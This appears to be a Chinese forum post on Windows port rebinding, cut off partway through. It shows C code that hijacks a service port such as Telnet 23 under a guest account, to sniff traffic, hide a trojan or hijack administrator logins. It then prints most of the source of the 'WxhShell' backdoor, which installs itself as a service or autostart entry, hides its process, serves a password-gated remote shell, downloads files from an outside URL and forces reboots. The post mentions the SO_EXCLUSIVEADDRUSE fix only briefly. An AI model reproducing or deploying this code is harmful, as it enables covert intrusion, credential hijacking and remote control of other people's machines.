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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u 7:Iv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B77`azwF  
+D2I~hC0'  
  saddr.sin_family = AF_INET; W>5[_d  
TbaZFLr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \!xCmQ  
[r!f&R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ia(`3r  
:a^/&LbLm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q}!h(-y}5n  
80ox$U  
  这意味着什么?意味着可以进行如下的攻击: ,Ha<lU2K  
SF`(`h0e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |s;']  
MT7B'hd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~oJ"si  
=^SxZ Bn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \2]_NU5.  
\Hdsy="Dnh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t cO{CI  
xP,b/T #a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X`1R&K;z^  
uaz!ze+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3)OQgeKU  
',c~8U#q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g+5c"Yk+u~  
LM+d3|gSV  
  #include ^,,}2dsb>  
  #include 0)M8Tm0$  
  #include R8_I ASs  
  #include    'y=N_/+s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tJ 2GSZ`  
  int main() .`Q^8|$-K  
  { x H&hs$=  
  WORD wVersionRequested; wJNm}Wf  
  DWORD ret; !-.GfI:q  
  WSADATA wsaData; OQ- Hn -H  
  BOOL val; hf^<lJh~=  
  SOCKADDR_IN saddr; :m(DRD  
  SOCKADDR_IN scaddr; '_^T]fr}  
  int err; ZPyzx\6\  
  SOCKET s; r fzNw  
  SOCKET sc; Zazff@O *  
  int caddsize; ^5.XQ 0n  
  HANDLE mt; dI&Q5M8  
  DWORD tid;   TL)*onA9  
  wVersionRequested = MAKEWORD( 2, 2 ); _CfJKp)  
  err = WSAStartup( wVersionRequested, &wsaData ); g `%in  
  if ( err != 0 ) { cPD_=.&  
  printf("error!WSAStartup failed!\n"); &w#!   
  return -1; j:xC \b47"  
  } iaCV8`&q%  
  saddr.sin_family = AF_INET; 0ZM(heQ  
   \+l*ZNYM3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yj#tF}nPC  
NcP/W>lN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tAF?. \x"g  
  saddr.sin_port = htons(23); 7 @ )  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OQ7 `n<I<)  
  { m3TR}=n  
  printf("error!socket failed!\n"); z9*e%$+S  
  return -1; :n QlS  
  } 0/b  _T  
  val = TRUE; h%krA<G9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o6d x\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t* =[RS*  
  { ATl?./Tu  
  printf("error!setsockopt failed!\n"); _$ivN!k  
  return -1; xH xTL>,?  
  } TI8r/P? ]V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'gvR?[!t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n{FjFlX2=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ocFk#FW  
SkE<V0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;Mup@)!j  
  { -cM1]soT  
  ret=GetLastError(); ^J5{quV  
  printf("error!bind failed!\n"); 8.[F3Tk=  
  return -1; Fq@o_bI  
  } B*,)@h  
  listen(s,2); lI 4tW=  
  while(1) $[A\i<#  
  { tqZ+2c<W3  
  caddsize = sizeof(scaddr); NS~;{d \  
  //接受连接请求 DK\XC%~m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \xj;{xc  
  if(sc!=INVALID_SOCKET) +yp:douERi  
  { :-B+W9'5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d=PX}o^  
  if(mt==NULL) _r*\ BM8y  
  { jYFJk&c  
  printf("Thread Creat Failed!\n"); [/CGV8+  
  break; a:fP  
  } U}RBgPX!  
  } UowvkVa  
  CloseHandle(mt); y %Q. (  
  } <Gi%+I@szl  
  closesocket(s); + cfEyiub  
  WSACleanup(); z* EV>Y[  
  return 0; y:W6;R  
  }   V0=%$tH  
  DWORD WINAPI ClientThread(LPVOID lpParam) ];OvV ,*  
  { gvA}s/   
  SOCKET ss = (SOCKET)lpParam; -2M~KlYl  
  SOCKET sc; S^eem_C  
  unsigned char buf[4096]; y|2<Vc  
  SOCKADDR_IN saddr; G}fB d  
  long num; (?fU l$q\  
  DWORD val; <X:JMj+  
  DWORD ret; }l|S]m!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6O As%QZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #$I@V4O;#  
  saddr.sin_family = AF_INET; WVdV:vJ-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .|Huz k+  
  saddr.sin_port = htons(23); UqOBr2 UmG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;!MQ@Fi^  
  { %.Ma_4o Z  
  printf("error!socket failed!\n"); -B *W^-;*  
  return -1; iT>u&0B-  
  } 1f`De`zXzr  
  val = 100; 9 {&g.+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @- STo/  
  { ^#Ha H  
  ret = GetLastError(); s;BMj^x  
  return -1; /MGapmqV9  
  } {A/r)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ; oyV8P$  
  { y9r4]45  
  ret = GetLastError(); b=,B Le\  
  return -1; MJ|tfQwhx  
  } m,k 0 h%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x]{P.7IO'  
  { Mg;pNK\n  
  printf("error!socket connect failed!\n"); ~_\Ra%  
  closesocket(sc); S6<o?X9,I  
  closesocket(ss); P`biHs8O  
  return -1; W,xdj!^t  
  } sbW+vc  
  while(1) 2dD" ^z{  
  { o,*m,Qc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uUI#^ A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Qr.{_M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @d WA1tM  
  num = recv(ss,buf,4096,0); DYf QlA  
  if(num>0) :_8K8Sa  
  send(sc,buf,num,0); g3:@90Ba  
  else if(num==0) GV0\+A"vD  
  break; |+Y-i4t  
  num = recv(sc,buf,4096,0); 6g| ,]{  
  if(num>0) v$y\X3)mB  
  send(ss,buf,num,0); J,=K1>8s  
  else if(num==0) hX.cdt_?  
  break; /5NWV#-  
  } 'Z{`P0/^o`  
  closesocket(ss); Jt_=aMY:7  
  closesocket(sc); 6] x6FeuS  
  return 0 ; T lXS}5^  
  } C4mkt2Eb0a  
yu;EL>G_AY  
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========================================================== )Te\6qM  
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下边附上一个代码,,WXhSHELL Y~UuT8-c  
{7:1F)Pj  
========================================================== Y25`vE(  
D!`[fjs6A  
#include "stdafx.h" ef)RlzL Oq  
xV> .]  
#include <stdio.h> Wg|6{'a  
#include <string.h> REh"/d  
#include <windows.h> 8W&1"h`  
#include <winsock2.h> K *@?BE  
#include <winsvc.h> 56Wh<i3  
#include <urlmon.h> 3f`Uoh+  
56pj(}eq  
#pragma comment (lib, "Ws2_32.lib") )I%M]K]F  
#pragma comment (lib, "urlmon.lib") +~V%R{h  
T<uX[BO-a  
#define MAX_USER   100 // 最大客户端连接数 S Qmn*CW  
#define BUF_SOCK   200 // sock buffer {!I`EN]  
#define KEY_BUFF   255 // 输入 buffer OxJ HhF  
o,i_py  
#define REBOOT     0   // 重启 QbJ7$ ,4  
#define SHUTDOWN   1   // 关机 f7&ni#^Ztj  
GgpE"M?  
#define DEF_PORT   5000 // 监听端口 fzJiW@-T  
59.$;Ip;g  
#define REG_LEN     16   // 注册表键长度 ]3v)3Wp  
#define SVC_LEN     80   // NT服务名长度 u>'0Xo9R  
+3))G  
// 从dll定义API ]xS%E r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ie1~QQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a j?ZVa6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ] 9QXQH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;6 V~yB  
C6>_ wl]  
// wxhshell配置信息 G? SPz  
struct WSCFG { > )4~,-;k  
  int ws_port;         // 监听端口 ( #dR\Di  
  char ws_passstr[REG_LEN]; // 口令 nAQ[ -NbW,  
  int ws_autoins;       // 安装标记, 1=yes 0=no fHaF9o+/b  
  char ws_regname[REG_LEN]; // 注册表键名 Ku'a,\7z  
  char ws_svcname[REG_LEN]; // 服务名 zTue(Kr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  nS]e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OdNo2SO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q>%B @'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W%rUa&00  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =sW K;`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MgiW9@_(  
nzbVI  
}; $}4ao2  
remc_}`w  
// default Wxhshell configuration =bp'5h8_  
struct WSCFG wscfg={DEF_PORT, HDhkg-QC  
    "xuhuanlingzhe", ",~ZO<P  
    1, 3XY"s"  
    "Wxhshell", oyiG04H&  
    "Wxhshell", @Ov}X]ELi  
            "WxhShell Service", =o~mZ/ 7=M  
    "Wrsky Windows CmdShell Service", hrX/,D -c  
    "Please Input Your Password: ", Wt%Wpb8  
  1, !}} )f/  
  "http://www.wrsky.com/wxhshell.exe", blomB2vQ  
  "Wxhshell.exe" 0<V/[$}\D  
    }; }>iNT.Lvd  
Q0-gU+ig  
// 消息定义模块 kP5I+ B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |7 K>`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eSZ':p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; otaRA  
char *msg_ws_ext="\n\rExit."; T Q![  
char *msg_ws_end="\n\rQuit."; Swf%WuDj  
char *msg_ws_boot="\n\rReboot..."; D_( NLC  
char *msg_ws_poff="\n\rShutdown..."; # a4OtRiI  
char *msg_ws_down="\n\rSave to "; E;H9]*x/  
pa^_D~  
char *msg_ws_err="\n\rErr!"; H{*rV>%  
char *msg_ws_ok="\n\rOK!"; LT)I ?ud  
VOYQ<tg  
char ExeFile[MAX_PATH]; yd VDjE Y  
int nUser = 0; Jr'a_ (~  
HANDLE handles[MAX_USER]; +b_[JP2  
int OsIsNt; X6}W]  
]?V:+>t=  
SERVICE_STATUS       serviceStatus; 07=I&Pum  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k^d^Todq.  
qQf NT.  
// 函数声明 pSAtn  
int Install(void); ,n%b~.$:v5  
int Uninstall(void); O,7S1  
int DownloadFile(char *sURL, SOCKET wsh); le_a IbB"P  
int Boot(int flag); 3;jx Io$,  
void HideProc(void); Z molL0y  
int GetOsVer(void); 9 7HI9R  
int Wxhshell(SOCKET wsl); X   
void TalkWithClient(void *cs); Y4N7# 5  
int CmdShell(SOCKET sock); Js:U1q  
int StartFromService(void); ;I@\}!%H  
int StartWxhshell(LPSTR lpCmdLine); k{{ Y2B?C  
` ,SNqi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HS*Y%*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .(8 V  
u)zv`m  
// 数据结构和表定义 tYgHJ~1L*  
SERVICE_TABLE_ENTRY DispatchTable[] = /:!l&1l:p  
{ K8&) kfyI  
{wscfg.ws_svcname, NTServiceMain}, !ni 1 qM  
{NULL, NULL} 'cu14m_  
}; oP T)vN?  
+tt!xfy  
// 自我安装 : &nF>  
int Install(void) '5Kj "aD%  
{ +2tFX  
  char svExeFile[MAX_PATH]; |aU8WRq  
  HKEY key; mcidA%  
  strcpy(svExeFile,ExeFile); ;,uATd|  
p,f$9t4  
// 如果是win9x系统,修改注册表设为自启动 !5h8sD;  
if(!OsIsNt) { d"E3ypPK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +BO kHXk1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -awG1 4%  
  RegCloseKey(key); pyX:$j2R+%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B[h^]k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LN.*gG l  
  RegCloseKey(key); \N-3JOVy  
  return 0; x|AND]^Q  
    } .nNZ dta&=  
  } $y.0h(  
} mJ(ElDG  
else { 7;Lv_Y"b  
Xf"< >M  
// 如果是NT以上系统,安装为系统服务 O8>&J-+2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v>nBdpjXh  
if (schSCManager!=0) rtbV*@Z  
{ 2yFT` 5+H4  
  SC_HANDLE schService = CreateService _E8Cvaob  
  ( :.=j)ljTx  
  schSCManager, Gj%q:[r  
  wscfg.ws_svcname, f.%3G+  
  wscfg.ws_svcdisp, 8mLW^R:`  
  SERVICE_ALL_ACCESS, UqsOG<L'6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &PApO{#Q  
  SERVICE_AUTO_START, ai?N!RX%H  
  SERVICE_ERROR_NORMAL, +e.w]\}  
  svExeFile, 8QL=%Pv  
  NULL, HCkfw+gaV  
  NULL, FG!hb?_1  
  NULL, z`$c4p6G6  
  NULL, #*w)rGkU2  
  NULL Ahbh,U  
  ); WI*CuJU<zJ  
  if (schService!=0) 8lDb<i  
  { Q}l~n)=  
  CloseServiceHandle(schService); lup2> "?*  
  CloseServiceHandle(schSCManager); 5}_=q;sZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IsJx5GO  
  strcat(svExeFile,wscfg.ws_svcname); PJ?C[+&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oclU)f.,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SO STtuT  
  RegCloseKey(key); Ahba1\,N$  
  return 0; 9LBZMQ  
    } Dm}M8`|X  
  } x@/:{B   
  CloseServiceHandle(schSCManager); F#) bGi  
} j_h:_D4  
} _Yp~Oj  
6ce-92n  
return 1; hosY`"X  
} T>b"Gj/  
 f}*:wj  
// 自我卸载 SsZSR.tD  
int Uninstall(void) XR[=W(m}  
{ I S'Uuuz7g  
  HKEY key; Ol h{<~Fv  
<Uj9~yVN]  
if(!OsIsNt) { { J/Fp#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b5Q>e%i#  
  RegDeleteValue(key,wscfg.ws_regname); /NiD#s0t  
  RegCloseKey(key); -])=\n!=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fsx<Sa  
  RegDeleteValue(key,wscfg.ws_regname); Z^'\()3t  
  RegCloseKey(key); E,K>V:P*  
  return 0; gX-hYQrC  
  } P,3w b  
} GP %hf{  
} |#SZd Xg  
else { v2:i'j6  
wYV>Qd Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uPYH3<  
if (schSCManager!=0) < FO=PM  
{ f{[0;qDJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); liLhvcd  
  if (schService!=0) R?9x!@BV  
  { hOj+z?  
  if(DeleteService(schService)!=0) { z5~W >r  
  CloseServiceHandle(schService); f.66N9BHL,  
  CloseServiceHandle(schSCManager); :-Py0{s  
  return 0; N]| >\  
  } cL03V?} ~  
  CloseServiceHandle(schService); >nih:5J,ja  
  } 9^8OIv?m8  
  CloseServiceHandle(schSCManager); M3|G^q:l  
} '6>*J  
} NW 2`)e'  
^eO/?D8~h  
return 1; b.\xPb  
} ).(y#zJ7P  
*W^ZXhrZ  
// 从指定url下载文件 r;[=y<Yf  
int DownloadFile(char *sURL, SOCKET wsh) +DR$>a  
{ d(ypFd9z  
  HRESULT hr; T{f$S  
char seps[]= "/"; Qe ip h  
char *token; J,u-)9yBA<  
char *file; B {:a,V7  
char myURL[MAX_PATH]; 0{8L^ jB/  
char myFILE[MAX_PATH]; %-.;sO=g  
rvd%z7Z1o  
strcpy(myURL,sURL); !3mt<i]a"  
  token=strtok(myURL,seps); S7PWP< 9  
  while(token!=NULL) sO 6=w%l^  
  { yrfV&C%=n  
    file=token; r@Jy*2[-Jq  
  token=strtok(NULL,seps); Yb/*2iWX  
  } 9`Fw}yAt  
&TA{US3~  
GetCurrentDirectory(MAX_PATH,myFILE); ]Zc|<f;  
strcat(myFILE, "\\"); -rm[.  
strcat(myFILE, file); bGgpPV  
  send(wsh,myFILE,strlen(myFILE),0); e3:L]4t  
send(wsh,"...",3,0); o,* D8[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u Z-ZZE C  
  if(hr==S_OK) 09G47YkSy1  
return 0; kV5)3%?  
else p:Lmf8EI  
return 1; "UNFB3  
Px \cT  
} 0*rD'?)K+  
b"N!#&O]  
// 系统电源模块 M~|7gK.m1  
int Boot(int flag) /9I/^i~  
{ <EN9s  
  HANDLE hToken; urjf3h[%  
  TOKEN_PRIVILEGES tkp; 8j3Y&m4^  
X|eZpIA45  
  if(OsIsNt) { )S2yU<6oOt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s:"Sbml  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xSK#ovH2  
    tkp.PrivilegeCount = 1; 1nskf*Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @&WHX#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jut&J]{h  
if(flag==REBOOT) { u YT$$'S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  G7a l@  
  return 0; JDE_*xaUV  
} VLkAsM5}%  
else { [{BY$"b#:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bD:0k.`  
  return 0;  L1 /`/  
} Cg]),S  
  } Im/tU6ybV  
  else { uu,F5<y[  
if(flag==REBOOT) { sAL ]N][Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 31G0 B_T  
  return 0; Y6 sX|~Zy  
} 8iJB'#''*  
else { RK|*yt"f"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y3s+.5;  
  return 0; 'Uf?-t*LT@  
} 6xJffl  
} \?^2}K/  
sEdz`F  
return 1; vb6EO[e% I  
} F1L[3D^-  
!!^z6jpvn  
// win9x进程隐藏模块 "Nj/{BU  
void HideProc(void) 4r1\&sI$~  
{ &o;0%QgF  
x I.W-js[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 71c[ `h*0{  
  if ( hKernel != NULL ) \{lv~I  
  { Zg(Y$ h\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bhpku=ov  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U-u?oU-.'  
    FreeLibrary(hKernel); )P:^A9&_n=  
  } IFX$\+-  
cZ?QI6|[  
return; d-UeItyW*  
} PWpt\g  
p1Zb&:+  
// 获取操作系统版本 GYaP"3Lu  
int GetOsVer(void) V ;XKvH  
{ |0y#} |/  
  OSVERSIONINFO winfo; U@mznf* J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RQx8Du<  
  GetVersionEx(&winfo); %7)=k}4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p?rlx#M  
  return 1; YNU}R/u6^  
  else \%=\4%:  
  return 0; kk3^m1  
} <'I["Um  
:;7I_tb  
// 客户端句柄模块 .Q*X5Fc  
int Wxhshell(SOCKET wsl) [s {!  
{ St-uE |8  
  SOCKET wsh; y!77gx?-  
  struct sockaddr_in client; A]/o-S_  
  DWORD myID; { :tO RF  
@dDeOnF  
  while(nUser<MAX_USER) pFd8p@m_2  
{ "n!yK  
  int nSize=sizeof(client); ;"wCBuXcu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i/ilG 3m>  
  if(wsh==INVALID_SOCKET) return 1; B;1qy[  
~.m<`~u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F3qK6Ah.  
if(handles[nUser]==0) /9w>:i81  
  closesocket(wsh); !LI<%P)  
else ~9dpB>+  
  nUser++; RwWg:4   
  } "#j}F u_!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B )r-,M  
DYD<?._I  
  return 0;  .w9LJ  
} BPba3G9H  
Cl}nP UoL  
// 关闭 socket Nz,yd%ua  
void CloseIt(SOCKET wsh) 9B: 3Ha=  
{ DZ8|20b  
closesocket(wsh); i<m(neX[H  
nUser--; Pd*[i7zhC  
ExitThread(0); I0)`tQ +  
} w )R5P[b  
>1~ /:DJ  
// 客户端请求句柄 _/s"VYFZ  
void TalkWithClient(void *cs) i6`"e[aT[o  
{ @p+;iS1}  
|7s2xRc  
  SOCKET wsh=(SOCKET)cs; bmfM_oz  
  char pwd[SVC_LEN]; V8?}I)#(7  
  char cmd[KEY_BUFF]; Tu#< {'1$  
char chr[1]; g7*)|FOb  
int i,j; yw3"jdcl  
WlMcEje  
  while (nUser < MAX_USER) { |"3<\$[  
7;"0:eX  
if(wscfg.ws_passstr) { 11[lc2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :gh[BeqQ)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?{{w[U6NE  
  //ZeroMemory(pwd,KEY_BUFF); |cPHl+$nh.  
      i=0; o\IMYT  
  while(i<SVC_LEN) { k9^Hmhjw  
0s#72}n  
  // 设置超时 ,5}U H  
  fd_set FdRead; N@q}eGe  
  struct timeval TimeOut; }SN( ^3N  
  FD_ZERO(&FdRead); sHP -@  
  FD_SET(wsh,&FdRead); J!6FlcsZm  
  TimeOut.tv_sec=8; RLB3 -=9t  
  TimeOut.tv_usec=0; *T|B'80  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gE-y`2SU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #WpkL]g2+%  
{meX2Z4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nM )C^$3<t  
  pwd=chr[0]; O !L`0 =%c  
  if(chr[0]==0xd || chr[0]==0xa) { VM"cpC_8  
  pwd=0; *eVq(R9?T  
  break; 'X`Z1L/  
  } yPm2??5MW>  
  i++; /Rp]"S vt  
    } l]nt@0+  
_FLEz|%~  
  // 如果是非法用户,关闭 socket ^.SYAwL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C_.9qo]DT7  
} \oQ]=dDCd%  
DDg\oGLp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @ D+ftb/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Wonz<{'  
_]Hna<Ly  
while(1) { Hd|l6/[xz  
\{,TpK.  
  ZeroMemory(cmd,KEY_BUFF); W .7rHa  
{|+Y;V`  
      // 自动支持客户端 telnet标准   (L_-!=e  
  j=0; !d* [QD8  
  while(j<KEY_BUFF) { S2~cAhR|M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zo9<96I&  
  cmd[j]=chr[0]; ;SR ESW  
  if(chr[0]==0xa || chr[0]==0xd) { ])x1MmRg\  
  cmd[j]=0; j]a$RC#  
  break; vh9* >[i  
  } =P- &dN  
  j++; `+J Fvn!  
    } 1SQATUV  
gt&|T j  
  // 下载文件 G1"iu8 9d  
  if(strstr(cmd,"http://")) { ::L2zVq5V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E_HB[ 9  
  if(DownloadFile(cmd,wsh)) Qy,^'fSN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~Q-V&@o  
  else f0Q6sVZHa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 15$xa_w}L  
  } ;|N:F G  
  else { Tt[zSlIMx  
h$>F}n j  
    switch(cmd[0]) { ! ,J# r  
  73WSW/^F  
  // 帮助 H#- 3  
  case '?': { I-7LT?r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .b :!qUE^  
    break; $ |4C]Me (  
  } 5/48w-fnZ  
  // 安装 q>q:ZV  
  case 'i': { 0bNvmZ$  
    if(Install()) bm588UQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rd?}<L  
    else k_=SDm a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NzRvbj]  
    break; jXcJ/g(X3  
    } )n/%P4l  
  // 卸载 ]n ?x tI  
  case 'r': {  w-jElV  
    if(Uninstall()) 0MQ= Rt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #F*|@  
    else z(PUoV:?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZTC>Ufu2!  
    break; Vs>Pv$kW  
    } w7nt $L5  
  // 显示 wxhshell 所在路径 v1h(_NLI!  
  case 'p': { sE9FT#iE  
    char svExeFile[MAX_PATH]; 8 WP>u8&  
    strcpy(svExeFile,"\n\r"); $o6/dEKQ  
      strcat(svExeFile,ExeFile); &}ZmT>q`$  
        send(wsh,svExeFile,strlen(svExeFile),0); N,ht<l\  
    break; > =>/~dIb  
    } ,m=F H?5  
  // 重启 ] !UYl  
  case 'b': { ~iw&^p|=K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rvA>khu0/  
    if(Boot(REBOOT)) HN47/]"*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wZrFu(_  
    else { xQ?>72grP  
    closesocket(wsh); g14*6O:  
    ExitThread(0); #kg`rrF r  
    } Pms@!yce  
    break; ^<]'?4m]  
    } [^>XR BSm  
  // 关机 a"~o'W7  
  case 'd': { _8K+iqMZG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y48]|%73  
